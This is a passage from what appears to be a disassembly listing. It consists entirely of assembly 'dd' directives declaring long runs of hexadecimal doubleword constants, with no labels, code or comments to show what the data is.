4F02A7F8h, 76F61A4Ch, 0A504049h, 6B900EA9h dd 0DE202FF8h, 28EA97DBh, 2313B8C0h, 6052E0F9h, 364770CAh dd 3B3C60A1h, 44D4030h, 6F178B67h, 5D7CA0EDh, 0FCF62704h dd 0D140C820h, 0E0CF0E13h, 0CCB2E20h, 0B7674E99h, 0CA447429h dd 281A344Fh, 5BA00130h, 81DC7C3Bh, 48C1BF69h, 0E1F70C36h dd 189BA170h, 0EE0E893h, 1378D864h, 4A1B1000h, 0D455A2D9h dd 0BE724Dh, 965C15EBh, 0CC1781F0h, 189A83EAh, 22419167h dd 60B2F6h, 0ADCC8429h, 4DA23756h, 0EAC1A318h, 825B0h dd 0ACBCF77Fh, 0C9E2724Ch, 0BD286090h, 871DDC90h, 0A70F9996h dd 117F24CCh, 98839884h, 5366FFD7h, 0D4890631h, 184AC5DDh dd 109D2B26h, 4E5EAC85h, 98D6E820h, 0F0F30038h, 0B7FB839Dh dd 7CB10219h, 93C34802h, 106BC279h, 0B21911FCh, 13ABE210h dd 0CC07FFh, 0FCE936A7h, 2312B47Bh, 2000A26Eh, 74A4A781h dd 0AA411653h, 0EC340EBBh, 208EED49h, 30DC0B25h, 0F899A3B0h dd 463B13F2h, 0E478A10h, 9B1EB88Ch, 0DDBEAF00h, 167057B7h dd 205208C1h, 24C35ED0h, 98B99C39h, 57185D11h, 0FBEF0A93h dd 3B022F4h, 0E64760BFh, 0CDA724F8h, 0F0178824h, 9EB80B4h dd 88840840h, 0BE1C805Eh, 0C3F69A6Ch, 7D18C2F2h, 0FE18A715h dd 7C9803CBh, 0EFBE5B10h, 6A8392A8h, 0DBD97D0Ah, 0D7018CA2h dd 0CD7E73A3h, 0F5E811AAh, 267AC4F4h, 8F98B509h, 37C3FBBEh dd 30229F52h, 67400E9h, 0BBCD88A6h, 1F005D24h, 0B8ED12CCh dd 0B29A46h, 0BE21F95Fh, 1E3EFCFEh, 0DF88C71Dh, 64983B81h dd 8220CCAEh, 0C43D0114h, 9599D757h, 88EAE8C3h, 7900CEE8h dd 168B9CCCh, 3641FEh, 0B6F6F52Fh, 6063C462h, 7FA2C709h dd 2CE09687h, 0C1800837h, 20AABB4Eh, 9A2E0EFCh, 28243056h dd 9CCA6BC5h, 24BDC310h, 0CB113488h, 0D8213848h, 2E0B4604h dd 1AC98C87h, 0B3240468h, 6C2CA080h, 0C049AEBh, 0A420F970h dd 4A4C1141h, 0C1198C20h, 275C028Dh, 0D020FA83h, 9E2214A2h dd 0DCFBC848h, 0BA603098h, 0A92FA469h, 0CAC90A8h, 8E674C87h dd 584C8320h, 781B8C40h, 4CCA5418h, 288F6223h, 32F5C2Fh dd 0FB674A78h, 415CE71Ah, 30FC9257h, 2438C9BFh, 2498D250h dd 8FEBA510h, 6D7F4103h, 10D0C2DBh, 4B298895h, 268822h dd 2191006Eh, 26249527h, 49AC0112h, 9C4C7418h, 6D2CA2E4h dd 66E028F5h, 16C161Ch, 0CC135D27h, 283025C0h, 765E0B4Ch dd 0EDD0A2FDh, 7686637h, 608B6814h, 15E1E2FAh, 4E2CE480h dd 5302CED7h, 0D97CBBB9h, 0C06848EFh, 0B4CC02F9h, 586A7A12h dd 7D442464h, 0B74E2496h, 0D9B18324h, 0ED8106DFh, 106836D8h dd 0D90EB437h, 2A6A84A7h, 89893E4h, 0DC80A250h, 64AF6A58h dd 0C91892A5h, 1C48C598h, 51C0F722h, 7513BDF0h, 6E1A0012h dd 0A9CCA369h, 5CA32E8Bh, 0BE51D904h, 0BCBA24F0h, 912F01AAh dd 0B655DC54h, 6615C022h, 1200F85Ch, 0D96F875Fh, 8318BE5Ah dd 24A9CC1Dh, 0DCEF0170h, 0B28E6ACh, 9C6C4054h, 7958CCDEh dd 0E1E98050h, 0A3B93A3h, 95A4A10Bh, 794341BCh, 0C004C512h dd 0BBFEBEA9h, 313A297Bh, 0C91857B8h, 5EBC81D9h, 4AF4A1B2h dd 0AFC10180h, 0AE6170F9h, 0C7F18B4Eh, 20E000A8h, 78E20B05h dd 0DCF60095h, 0E4A4CB1Bh, 0F40143BDh, 75A9AFD9h, 50C48423h dd 0DE5300F9h, 65627A77h, 936051EEh, 158940D8h, 84D700AAh dd 5212137Dh, 47E67339h, 60884A58h, 5DD67F39h, 3C291D70h dd 0D56540DAh, 22DB58D2h, 520CEF09h, 6907771Ch, 0C530ACCDh dd 81D9943Ah, 0D3A75BB8h, 80D0364Ch, 0FEDE3C5Ch, 1BD40D00h dd 48176DC5h, 9301067Ch, 9672F952h, 0E7FC75D9h, 187F7C04h dd 8951800Dh, 4803E25Ah, 5E89811Bh, 3509ED2h, 7F8D47DAh dd 92C38E02h, 0B8DC5DE8h, 8083763Ch, 8A426457h, 70F7815Bh dd 5CA0C0B6h, 60B93E11h, 1A0C02F6h, 38699022h, 8364000Ch dd 40D59DB3h, 0A23A1725h, 89F29D7h, 80D1A1BEh, 835E7D55h dd 0D63FCF77h, 5BF78390h, 98B1201Ah, 7B93C65h, 57A061B5h dd 0E255277h, 7BE52090h, 18520A0Fh, 1E65A001h, 78C62DFh dd 0DD07DC0Dh, 85448057h, 0A300176Bh, 0D9A65380h, 285D5CFDh dd 384D39Bh, 37580277h dd 1824FAB2h, 0B006FA3h, 59C5D876h, 8FCE06F5h, 317F7E7Ch dd 36D3B500h, 2BFE935h, 823F00D6h, 0DD8C57B0h, 0B9028ED5h dd 8F8A0D53h, 745A0051h, 5CB0A75Ch, 0DA5E9105h, 0A85E13D4h dd 0B4520F00h, 2BD71EFh, 0F782C226h, 443BA72h, 0B2193806h dd 0E830DC9Eh, 4AD501B6h, 785D258Dh, 7B7CC05h, 0BDBA003h dd 0F096707Fh, 3DCB879h, 0DA2589BBh, 0D80CF98Fh, 49204D81h dd 6075E61Dh, 0D307381Ah, 89000D70h, 0B8028C79h, 7394E10h dd 7CC58FAAh, 312A3552h, 0C379008h, 1311F85h, 5F22CE8Eh dd 9107E0B4h, 0E0C6940Bh, 0DF53E5E4h, 68244A7h, 41C9D5EEh dd 0B5D4B344h, 48380033h, 52C355D2h, 8127478h, 0FB001A4Bh dd 6520B9CFh, 337F057Dh, 0D2C9D6h, 8240A01Ch, 0A892D4B4h dd 840AE8F8h, 0D07BECB0h, 2636BE40h, 638324CAh, 0C15F60C8h dd 0A2127089h, 0AC10B98Dh, 0B004CACCh, 0A4D88ADAh, 181A2A81h dd 0A440F687h, 928ABB01h, 957EE44h, 3466B70Fh, 0B8D81803h dd 48656FC9h, 18C0508h, 0D8E7517h, 20527758h, 780F09B0h dd 40B59D83h, 0D404E926h, 0D05A48C4h, 920F2F50h, 0FA7E2E50h dd 66AB094Bh, 112BFC00h, 9E4CCF43h, 33D5A14Ch, 0FBB55B00h dd 69AAA488h, 0D58C488Bh, 0B80E5A31h, 0DCB93707h, 558E9600h dd 7FD1F01Fh, 1506038Dh, 0BA08ADCEh, 0C51A57C0h, 0A059BD00h dd 5DDB7946h, 36D018F9h, 0E58D684Ch, 122CF3Bh, 4FBE9C5h dd 0B421D7CEh, 2510B04Ah, 5B9706B3h, 90A1FAD5h, 2ED2487Ch dd 49BD8450h, 0C2034415h, 0BA340706h, 49951820h, 16002C1Bh dd 71C7E53h, 610794FAh, 20B6718Ch, 0D9762140h, 98A47337h dd 3E5A01Ch, 2A6007Ah, 5B7D56DAh, 5260E4D0h, 4C99CFC8h dd 0DF460h, 22DCACB8h, 0BD49CD0Bh, 0ECEF3701h, 0DD61ED89h dd 13D814E9h, 5C951E73h, 99CC0ADFh, 0ED1550C0h, 3498D975h dd 26375F00h, 3BFC0374h, 244717Fh, 8E86EB1h, 9841A3CCh dd 0D5A02528h, 6118513Bh, 10304BD7h, 6509E345h, 0C01333CBh dd 2D8458B8h, 0F5C7DF00h, 9359CE05h, 7A4FE237h, 0B46F50A2h dd 0E0C6005Bh, 0AD31EC5h, 0A0907EB0h, 74820B0Ch, 0F9D078BAh dd 0C4180C1h, 8F012214h, 0DAE4518Ah, 41BAF79Ch, 0A2C18468h dd 815F1900h, 59FEB222h, 0C2CFCA3h, 50C732FDh, 88003918h dd 5CB863C2h, 0ACBC3F9h, 468E52D0h, 0D84303D0h, 0EF0E70Bh dd 99057F76h, 897C2351h, 6A38D843h, 0E110134h, 295F487Eh dd 0C68C53FEh, 0BF57E2F1h, 0A2D704A0h, 883B9F4h, 0CA5681C5h dd 927080D4h, 89D60044h, 4C0AC00Bh, 6D0577D7h, 0C65A3F8Ah dd 0CC024EC1h, 0CFBD72F4h, 0FB850B40h, 188019F4h, 0F05DF9FAh dd 682080F1h, 0E7A3371Ah, 1CBEE759h, 4A285238h, 17A8C60h dd 8C228226h, 85D85C8Eh, 0E85EE996h, 1D79803Fh, 2E03163Ch dd 4A5D3207h, 8480F108h, 1EB1555Ch, 0FC4FC000h, 0BFAFC9FFh dd 433214FAh, 0B605AC62h, 40D4E476h, 0D61D6328h, 608C9315h dd 5B9F2146h, 0E800101Dh, 0FC95F469h, 12CA64E9h, 2860A7Ch dd 24D78710h, 51307040h, 0D27FD015h, 0F51F04FCh, 1AC0783Fh dd 3A540BE2h, 172AE0C7h, 739D00C4h, 925A6F41h, 59012B96h dd 0B40EF60h, 518393BEh, 0BFE7875Dh, 8765103Dh, 0A4E43A57h dd 28734D00h, 99ED1D98h, 0CD8B8307h, 0E4905152h, 4EFA9E2Dh dd 24AC5E00h, 89C4A534h, 3C9C00F0h, 0D80EDC79h, 0F300D325h dd 2CC8FB6Eh, 1C554617h, 0C1EE9584h, 68B90328h, 506AF035h dd 0FBDFF701h, 23226276h, 4915D0h, 7430FD4h, 0DBC467B2h dd 0D23E7A1Dh, 0AD21CB18h, 18430014h, 9D59130h, 2400DAC2h dd 5089F631h, 0C006355Fh, 10254158h, 30A5FA49h, 4B67C864h dd 96C42680h, 950A1D7Eh, 0FE83613Fh, 0F429EF18h, 9DA9000Bh dd 481035CEh, 0F7703FFDh, 572DEF03h, 0F8AC1A85h, 0A151E18Dh dd 0D1E09874h, 107882h, 2D1BBA58h, 3E19415Bh, 0A9718000h dd 2E0B4CFEh, 117600E5h, 9FA95AAh, 7D00619Dh, 78A2B4EFh dd 0E359D4h, 51283858h, 0EBCC74CBh, 8ED33400h, 10DDC014h dd 4B410196h, 0AADF18A9h, 0A4C8EF83h, 0F40036C6h, 0A6A3E215h dd 0CB6DF6h, 0F768177Bh, 0A40A2C5h, 2E9A3C00h, 5A475DC1h dd 76FD00A8h, 0BD8B43E8h, 890012A5h, 1F9CA3B8h, 24DFF123h dd 0DD97EFh, 0CFF4204Bh, 9000F0FDh, 257C81B4h, 9F6970h dd 0A0239567h, 45B56C2Ah, 5C5A8301h, 0F8B30DC3h, 707460h dd 2E08BA73h, 7255B99Eh, 9B86900h, 22BE5E66h, 3E270F7Fh dd 0BF6F5B6Fh, 0FB801E00h, 771AF0Eh, 723CFF00h, 0D312774Ch dd 0CD29007Ah, 4743F99Bh, 253E9097h, 7FAA00C6h, 0E8A07DAh dd 232B3B79h, 0DFBF63BBh, 0D6C3DD86h, 9E162820h, 0A5003075h dd 76D25FFDh, 611C06Ch, 20CD698Ch, 0CE6617Dh, 0C9804C00h dd 0F41E8863h, 0A0F12E25h, 0C6F830A0h, 526F1391h, 60464030h dd 3753A944h, 0C0E07CA0h, 0F4B28C1h, 0BFEE843Eh, 0F3470CFFh dd 0FAB88D7h, 64A12D30h, 682CF5A0h, 0FA281AA4h, 9300AE47h dd 17BFC8ECh, 704EA641h, 63CC00FDh, 54ADDD87h, 0AF00A120h dd 100A6F61h, 867E2h, 0F32AAA4Eh, 1C6E3046h, 5854A800h dd 6D15D89Dh, 29C9629Ch, 8821B9EAh, 0F4012439h, 0CA651191h dd 0E911D612h, 0B05111F3h, 0C7DA1195h, 0C55CD222h, 0A519007Dh dd 152C9854h, 0A6072FFAh, 731E2ADCh, 8BEE3240h, 0CF04B2h dd 0FB02E950h, 0B7FA3531h, 0DFEB4800h, 214A879Fh, 2ACF00E7h dd 2DCCA694h, 4B1E044Fh, 0F3032896h, 8CCB9Fh, 9057C018h dd 98020F1Bh, 32965200h, 0C70ABDD7h, 0D86C00C8h, 1720C37Bh dd 0D900DE75h, 0E2A1EA55h, 3998E973h, 5C3F4D0Eh, 0DA131Ch dd 68F597B8h, 6F005D36h, 1E540434h, 56151Ch, 629BE4DAh dd 0A9F4C9E5h, 1AFC0500h, 0B1CE711Fh, 6B9200E9h, 2E595A8Eh dd 9400931Eh, 8761AACFh, 1B84A485h, 78E5C7CDh, 0F94825F8h dd 11072C00h, 50D74128h, 0F6EC5836h, 56927B00h, 0AEFAD647h dd 0B900C4E6h, 40121AB0h, 3997A36h, 5D37DEC9h, 2BA8B650h dd 3100BA5Eh, 0FC193EA2h, 0B2906Bh, 4A89CBBDh, 59696254h dd 0D9EEAF02h, 0E0E261ADh, 17103Fh, 0E726B53Eh, 0DB8EB009h dd 18789A02h, 61C72DCDh, 0DFD85A8Eh, 0BA800A81h, 80941942h dd 4C0DB4FEh, 401066Fh, 0EABC2FB5h, 27605BDCh, 0D13207C3h dd 90E151F3h, 0B62037E2h, 94289F1Fh, 0EDE09EC0h, 55BBAEh dd 0E4CA60A6h, 0D9B2A48Eh, 0E6127407h, 0FE50DB8Dh, 0C499B6h dd 0DDD751D1h, 0C8F3B51Fh, 0C600D8B8h, 46E60517h, 0E597DA53h dd 1A525F4h, 135F0F19h, 0E0AD3AE3h, 0A400A8B7h, 0A376C46h dd 5CEE9395h, 0E8002712h, 137CEC3Dh, 86007216h, 0A46F1BA9h dd 35201EDh, 83A6990h, 0C4B0148Fh, 0C604D14Fh, 0BCD794E8h dd 49E11EC1h, 0A98C30h, 268816DDh, 0E93A0506h, 34FD4500h dd 92E16E0Dh, 0C2C700A0h, 0EF3BF643h, 0D5007F29h, 9785779Ah dd 7148D352h, 0FDD7EABh, 0EC74611Fh, 8F652B43h, 0F16E7D88h dd 6CC65C00h, 0F2C3B7CCh, 14B01C86h, 19B2C062h, 0C7FD8CFBh dd 2D68A700h, 33BE03B3h, 308F268Ah, 0C5430E42h, 28AFFC60h dd 0CC0062C4h, 54B151F5h, 0A5B68Ch, 5FFEF752h, 8F4CD2BBh dd 3A85493Bh, 91E400D7h, 280D7E71h, 316B0046h, 0FD50F783h dd 747A6A54h, 5C674500h, 21AA6DDBh, 0D0F20123h, 4A8175F5h dd 4BC0F62Bh, 82006574h, 0DF718B0Ch, 3164E3Eh, 7709DF2h dd 91889B41h, 8C066A48h dd 6F4722B4h, 66540618h, 29F31EBFh, 4532480Fh, 827701D8h dd 80431681h, 92CA99C3h, 72D7A5D0h, 42A30674h, 20B215A8h dd 0AA839F00h, 96704011h, 0F45E38CAh, 0FF273Eh, 3C7A2BA4h dd 5B53DFFFh, 0D002C903h, 0D1EE7976h, 64D05D93h, 0F670E9h dd 98E2B556h, 91856C1Bh, 9700EBEAh, 0C33BEC2Fh, 0E2326255h dd 2334003Fh, 0BD130851h, 48EE1647h, 1701700Fh, 0FB0C804Fh dd 0A75B4Ah, 62306E9Bh, 433679F7h, 944CB700h, 0D3E58740h dd 0D1420E18h, 8A80CB9Eh, 722E3069h, 3255B000h, 266F896Dh dd 9C4E0FBFh, 0C9C05464h, 4DEC56A9h, 4900B371h, 995FDDEEh dd 0A4FC98h, 0B7C450F2h, 4614049Fh, 0AE72FF26h, 0BE492C00h dd 0BBE9F5h, 3B8E428Fh, 40B88B24h, 41486A00h, 512F1AC6h dd 935D00AFh, 0DDD54474h, 3A00910Fh, 4BCBF915h, 0BDB70EFh dd 0A35C1059h, 8EB419E0h, 0B153F600h, 0EE779F05h, 11B90389h dd 6BD41D90h, 950738C8h, 1E14800h, 9CBA98F4h, 457F69h dd 4332F1C6h, 335FC19Fh, 0A99E3D00h, 86AE18DBh, 0E8C5019Ch dd 413670FBh, 0F723FC8Ah, 0F6DA2200h, 3252D5B2h, 69491F8Eh dd 7FCF82Eh, 2B71CABAh, 24FA6003h, 2F1F2CC5h, 1C81BB76h dd 40A8696Ah, 728FD0E4h, 0F23E074Eh, 706E3DA4h, 8ADA48C7h dd 0D2605600h, 259937FCh, 0FEB90027h, 50078C42h, 9600D61Eh dd 0C49B6EEDh, 0D63BACAh, 0F74B7AC9h, 0B0D5D011h, 0AC33D607h dd 67F03EF5h, 5A07FEh, 62E4723h, 0E6C1310Dh, 57D4D006h dd 338C5BCh, 5359D599h, 0B2A01E3Ah, 0FA02F103h, 2DD10BE3h dd 6544601Bh, 0F2567C53h, 0F9EE00EAh, 0DB92E724h, 4E008233h dd 2E573149h, 4EF815Dh, 0B82F5B66h, 0DD18C0C5h, 68F6C108h dd 0CDFF7305h, 0BEC1C627h, 93D04679h, 0CBE2007Ah, 0D785DAF4h dd 7301ED17h, 0AFD9C3Ch, 0EEE03090h, 4A563C8Eh, 0E69F5707h dd 2E53E077h, 6901BF2Dh, 89157D5Eh, 0B5D005FFh, 5490C5h dd 332D4347h, 0B0E55892h, 0EA515200h, 34B596FEh, 455F095Ah dd 5CA7h, 8641E57Fh, 0D6655200h, 3ABF235Bh, 547D1E21h dd 0CE4E1D1Fh, 9443A69Ah, 3DF03BCBh, 95002B11h, 0AD43D092h dd 0DD3F0D69h, 93680011h, 8D798126h, 288B9E00h, 2B776AD2h dd 6AD0945h, 0B3804341h, 0C30452C5h, 62941000h, 719ACB89h dd 6FF282h, 4665193Ch, 1D01DDD9h, 4D02AF07h, 29B007F8h dd 0A90CFBh, 69479657h, 0B7D484F4h, 19C92F00h, 0E2BD5DE3h dd 5E970074h, 9CAAFD1h, 60070679h, 4F883480h, 2F960F30h dd 0D78F00A2h, 0DE313A59h, 0FC07B2DAh, 9D72FE10h, 8370E810h dd 0D01C4898h, 0DFE2FF00h, 2492FC11h, 0FD4D6C02h, 401413E1h dd 465A60h, 2A875372h, 199B91A9h, 0F8CF6F26h, 0E20C9C00h dd 1F4641B5h, 0C055324Dh, 8FB61579h, 430473B1h, 674809DDh dd 6F3E6680h, 1F3BF9C6h, 0B9E8079h, 2F5C8535h, 7CDFBD00h dd 0F9D30C9Dh, 0D4A700E5h, 4B134553h, 0D9059EC2h, 0D12FA631h dd 0EBDE5440h, 4213DDh, 0D29B5982h, 7A328446h, 0AB0FAF0Eh dd 24A002Eh, 3A8ED79Ah, 0BC80775Dh, 0B6E980ADh, 0E00E93E6h dd 0DDBA3812h, 0A02AD6C0h, 235FEh, 0C6DD99F8h, 233C4D8Ah dd 7E39F000h, 8059F954h, 73AE0030h, 9B1AF8F3h, 0BF025CBh dd 0BB021F00h, 0FD8FCD57h, 0F43F00A8h, 561BE2C3h, 78286CD3h dd 8628E73Ah, 4105E8B9h, 4FDD147Bh, 96769980h, 2702Ah dd 79B81BC1h, 2C05E05Ch, 0E50E2E00h, 0D130B753h, 2876002Bh dd 7A52A92h, 4501A3B6h, 0EBA8A093h, 0E8414DE5h, 90C87AF7h dd 5E770FFDh, 9C277834h, 668DE037h, 9001788h, 9E8C9111h dd 381400Ch, 973973A3h, 0B7A8F7C8h, 0CE005848h, 6AEE2A2Ch dd 4A361Eh, 0D27B5FBEh, 0E644F48Ch, 4C76F21Ch, 5DFE4EC1h dd 0DD20A4CAh, 0EFB8C9h, 0C623287Dh, 77031AFBh, 541D8C07h dd 9F401165h, 2856FDD3h, 7EF8A9BBh, 99AA3B7Ah, 979A1480h dd 62BE6DB1h, 0E0F6683Dh, 2D773A10h, 0F04A00E5h, 826118E6h dd 1D39CA50h, 0C84480A6h, 388687B0h, 0E9C00034h, 13DBD5F8h dd 9FF6FF07h, 845C723Ah, 32E474AFh, 0E352F8C0h, 1B0218EDh dd 2EC41065h, 19495800h, 4D240A04h, 0AC725B39h, 1486006Fh dd 16CC6B6Dh, 9AC5129Dh, 0C94420A5h, 0BB0039E4h, 0E66B8230h dd 0F8E9A9C2h, 17F728C5h, 0B8230386h, 864AA3CEh, 0E4C82AF0h dd 7B14FE72h, 1698AA0Dh, 8040BF9Ah, 1D06241Ah, 27373E77h dd 0DAB6948Fh, 0E99E0260h, 0C01107Dh, 5849ADB9h, 80F647D3h dd 6F849FA0h, 0ED6A0094h, 13CE7D5Ah, 64E6E7FCh, 989AA100h dd 378041C1h, 34000AEh, 30CD69B4h, 0D7010F7Ah, 368B97A2h dd 5021733Fh, 18B6C9F8h, 0E89C13D1h, 0C1F41B23h, 4E419000h dd 0F3DC68ADh, 0FE0200E6h, 0CD7A1D3Ch, 0B004B17h, 92FF5F5Bh dd 0B8DF2B40h, 0EAA600C7h, 8F7611D6h, 5902862Dh, 43622F8Eh dd 6BFA6001h, 52BB4CF4h, 0A1BF0071h, 61B7D8D3h, 0F8007F92h dd 0D14BD4C9h, 1C111E6Dh, 80CBA145h, 6B2615E0h, 0BAF21B28h dd 44618F00h, 0D7AD8D84h, 0F55E3F96h, 5C971402h, 440D01Ah dd 9A00FFF9h, 0CDF8BF12h, 3A71F3DFh, 6A058ABCh, 80198ED3h dd 769F9D47h, 0E4BA9201h, 55950B8Ch, 77CDC40h, 0A45A01E2h dd 799089FBh, 0C8BC40EDh, 8E3AB594h, 0BB7580E5h, 57F86120h dd 0E671F4DBh, 0BD083760h, 0EECD3018h, 53003BCFh, 1C5EF774h dd 117EECh, 0DE0B63BEh, 2E602758h, 0A417AC00h, 9871D15Dh dd 0D99F1F89h, 0E26EC006h, 1B2BE713h, 2601700h, 787B7FAEh dd 64D709D1h, 5483B450h, 0FB886232h, 0FD030F07h, 0A7261B24h dd 880EDB69h, 2625E765h, 1740A336h, 2960017h, 8A110306h dd 63206900h, 848380A9h, 0A53E1E96h, 0B86800AAh, 0CFC8F7C7h dd 404A8B00h, 2749F58Dh, 0B00300BDh, 823598E6h, 2D48FB72h dd 6FDE1468h, 80B93D80h, 2A4FE0D3h, 620E2Bh, 0A8886769h dd 36C45AF0h, 26C120Eh, 3B956031h, 7C23044h, 472A748Eh dd 75A11E5Bh, 446D932Ch, 5090D7A4h, 0E19BB5CFh, 8C081F00h dd 2388A4Ah, 9F7448h, 3F451D03h, 84AC1551h, 0DF5B5F00h dd 7A3DD92Ah, 330E008Ch, 0F6DE408Dh, 0B300548Eh, 0B4BBDA3Eh dd 3555336h, 8468897Fh, 0B1A8A0ADh, 2E0099B8h, 0B9CB65FEh dd 162BD429h, 7FDF718h, 305F45F7h, 0BB4694B3h, 0FA87F17h dd 733305EFh, 83588132h, 2703C87Eh, 0CDEE1E07h, 71444C9h dd 3FAE70C0h, 37B900DAh, 82BB6B69h, 1C38EBA0h, 0B3A800CBh dd 0DC361843h, 542F0EDDh, 0C6807966h, 4A02F12Ah, 420D6A00h dd 6895AFCCh, 0B386007Bh, 9D01CFD9h, 0EC00FB0Bh, 0CEE1BB6h dd 0D09F7Eh, 0F09E1906h, 6308E866h, 5BB22D01h, 5688857h dd 1F6CE4h, 0B975E970h, 0A198A9B7h, 7BBF4400h, 1B54CB03h dd 0F176003Ah, 8D6D9FF5h, 49E2F4E9h, 44D0C00h, 33318363h dd 1D4B1282h, 0E04002Ch, 0EF9659B8h, 155932FEh, 0FD3D000Ch dd 75E6ED42h, 0A25B0077h, 0F63ABBD3h, 0BA00AA5Ah, 1CB27115h dd 0FA85F8D2h, 52DA258Eh, 29004956h, 0C6AADC20h, 0EA644CF7h dd 869E8100h, 309B2ECAh, 6D11E000h, 4A7E1A35h, 49400023h dd 5E4D0417h, 0A40007BBh, 3C519A91h, 3DD0F4E8h, 6D00CD85h dd 8AE2AAB0h, 3EE46F55h, 0EE1C7CF0h, 4900698Dh, 285C1DD9h dd 8A090018h, 0D43129D3h, 0B0F570Ch, 4026AAB9h, 89B02C3Fh dd 83A40B52h, 1400CA5Eh, 77F86CA8h, 16EC280Fh, 0C1E9E0C5h dd 3966C326h, 1003D7Dh dd 2B9A071Eh, 4C1F8239h, 0F2C06A1Ah, 0BFE1055Ah, 59CF008Ah dd 8B5B049Eh, 66006309h, 8260AE19h, 38DA6E40h, 5F829C50h dd 0BC6A72F1h, 3900A86Ch, 1278CF0h, 1C28F4h, 1E6FF1C5h dd 0B545C9E8h, 80A25300h, 5271B431h, 0A8EA5C25h, 0D9674A00h dd 7AD894F5h, 20E62B03h, 97E3967Dh, 0B0471053h, 9879BA17h dd 76C200E4h, 0DAB7248Ch, 632E5005h, 9F814438h, 51AE2B23h dd 7228BAh, 0CB4B0890h, 7D22A7CAh, 0B5B7FCC1h, 6EFC1B16h dd 49990748h, 3F97DE46h, 0AA0E08C0h, 0C48C531h, 0BE077FF7h dd 0EAA29347h, 9EC94CE0h, 392274E8h, 3D0046B7h, 0E6DC5BD5h dd 800107ADh, 6512F026h, 0CAF8F939h, 0EFB5056Eh, 28DE8Ch dd 87B23EC7h, 0D51EFB65h, 0CF801B73h, 104A861h, 0F26000BCh dd 3949A3F3h, 2616F1D5h, 8C405C0Ch, 4E7488C9h, 34096CCh dd 6F950704h, 94980680h, 6400F77Fh, 62C53D09h, 180EACh dd 0E04CBFF4h, 2D608FC0h, 1369BC00h, 0F21231D5h, 0A2C224B1h dd 6E96801Ch, 0CCB3C47h, 181F724Ah, 0A600F326h, 0FEA222A8h dd 0C1F99877h, 0C6A00E30h, 9E266172h, 0AB025011h, 802B3643h dd 0AF0415D7h, 2F8C005Ch, 7995DEF9h, 0A4040E69h, 0FCBF7801h dd 0C600D897h, 31A3BAB1h, 3E89BA6h, 347320B9h, 448D6900h dd 615E46BEh, 87140EA6h, 0D1A1F5A3h, 0EB2765ACh, 0F21BA800h dd 198F25A2h, 979D3A3Ah, 670B260Ah, 6CAE0064h, 56D1CD5Ah dd 0E7FFC703h, 0FBC80903h, 0D09DB8DCh, 7BE661h, 96C6FAB7h dd 9E7DDE45h, 81D21000h, 382A13EFh, 769A00B5h, 26DD410Fh dd 0AB0093C0h, 0BAFBC785h, 24A11A3Bh, 4BD3AE7h, 0C09B4AE2h dd 40B42BBBh, 0F81CD80Eh, 24F7805Fh, 321FAF5h, 6B9CF4ABh dd 17B249D6h, 523AC4A0h, 400E18Bh, 38B560D7h, 69E1A6Fh dd 0AEDB7384h, 0D617293Dh, 0F1008ABAh, 0C0489B2Dh, 0F0160FFFh dd 91609244h, 620FB435h, 1FFD2401h, 680B9099h, 4085B721h dd 0C0B9EF37h, 5B89CDB5h, 0D6864305h, 9847AE90h, 60E0A0A5h dd 349797Ah, 4CADF148h, 30DFC7BCh, 0B5D144B7h, 0E8AC3Eh dd 0F77D6D7Ch, 94D689B3h, 0CBFA0030h, 4CC5A06Fh, 94FA6AB8h dd 970E400h, 6872336Ah, 231400ACh, 0B92AC571h, 77B0FE26h dd 0BD500B12h, 6EC96900h, 17BF218h, 5B232751h, 30B09FCEh dd 4628C481h, 0C100DB96h, 0D1CB3D22h, 631F6D86h, 18ADC189h dd 9467C900h, 0E6BE4A95h, 0FE57F04Dh, 2E0600EBh, 24741269h dd 0A0718D7Ch, 0FC027D00h, 1959728h, 77867806h, 6E9B00F5h dd 26A29EBAh, 570EF959h, 405CBE6Dh, 9CF1FF52h, 43A0149Fh dd 0DA22141Eh, 28940200h, 191093EFh, 0DCEE3D0Ch, 474F2301h dd 0C4ECED7Dh, 0E300F234h, 86653111h, 1E646E48h, 41544FCFh dd 2E5546CDh, 0EC16E1C4h, 200089C2h, 0B07C9B1Bh, 6D19EAh dd 0A26EDC30h, 81A0E19Ah, 8F8EF207h, 0F7707892h, 0EE70841h dd 3C18336Eh, 0ED28F0A0h, 0EA01B722h, 57E563AFh, 0F7D0CCECh dd 260C1CEh, 0EC7CDA24h, 0B30F795Fh, 9FE73C7h, 0C0E90037h dd 78571h, 9260A946h, 0B6530995h, 0EA4B6100h, 7F1503F6h dd 0E8D00B1h, 0A0EE5BFAh, 47032FB7h, 3796A259h, 660000Fh dd 141DAE15h, 5C0042A4h, 0B3C92B58h, 0E26EA353h, 0AF310030h dd 7CFB447Fh, 7A006F0Ch, 0ED826145h, 7A61FD0h, 6BDAA7D6h dd 0F338D3F0h, 119F9112h, 4EBE00BBh, 32B24ABDh, 6B5CA100h dd 91E0676Eh, 5550250h, 9365033Dh, 4E107AC0h, 0E6462900h dd 0CBEDC84Bh, 0E0B00AEh, 0A20F8AE9h, 0A9247F31h, 0AF1310ECh dd 0A3BB01AEh, 0D1B9FD18h, 8EAAE03Dh, 0EB1E700h, 0A982E1Fh dd 92DC078Bh, 0D02D6D53h, 9014D55Bh, 15E0F800h, 89752393h dd 5672394Eh, 5A26D8BFh, 8D0C04DDh, 83B780D2h, 0E0063CDh dd 0A1C273B0h, 0DB02CBh, 85361170h, 0AEDA69Eh, 4520180Fh dd 44740066h, 39E3226Dh, 3D00C4EEh, 7C19A536h, 7100A4A7h dd 3498E0Fh, 1501006h, 25EA7E11h, 0FC9D3590h, 9600E636h dd 3815F40Bh, 455451h, 5906420h, 0BA9403BDh, 3CAEE617h dd 177DC505h, 66E37A80h, 90130044h, 70C86F75h, 62264B1Fh dd 0D11CF071h, 831882C0h, 8A46D2h, 1444D884h, 0DFF605A9h dd 54F93100h, 9A6B5B24h, 6C1E483Bh, 0C1F4B000h, 22B4B68Eh dd 447C5707h, 0FF404FFDh, 9C4C2Ah, 270D1472h, 1EAEB05Ah dd 3B30AC0Eh, 7DFCC1BEh, 48BE1D31h, 1FC0B317h, 7F2480D8h dd 36AA2B4Bh, 2CBE3200h, 0EBB988A2h, 0C51D01B8h, 355420C8h dd 55D0F318h, 0BE029E2Fh, 0D08872ECh, 3AFC8051h, 2FC5901h dd 573D9F18h, 64427A44h, 0B0CDF707h, 1ECA61E8h, 8AAA4Ch dd 2330F728h, 772A6DAh, 7A06A708h, 8E17B1D3h, 1F9AC438h dd 0F83B4800h, 4B70FBCBh, 5E9C000Dh, 0FC8995A3h, 0F4007D46h dd 0EAC58365h, 118F061h, 2CBB0602h, 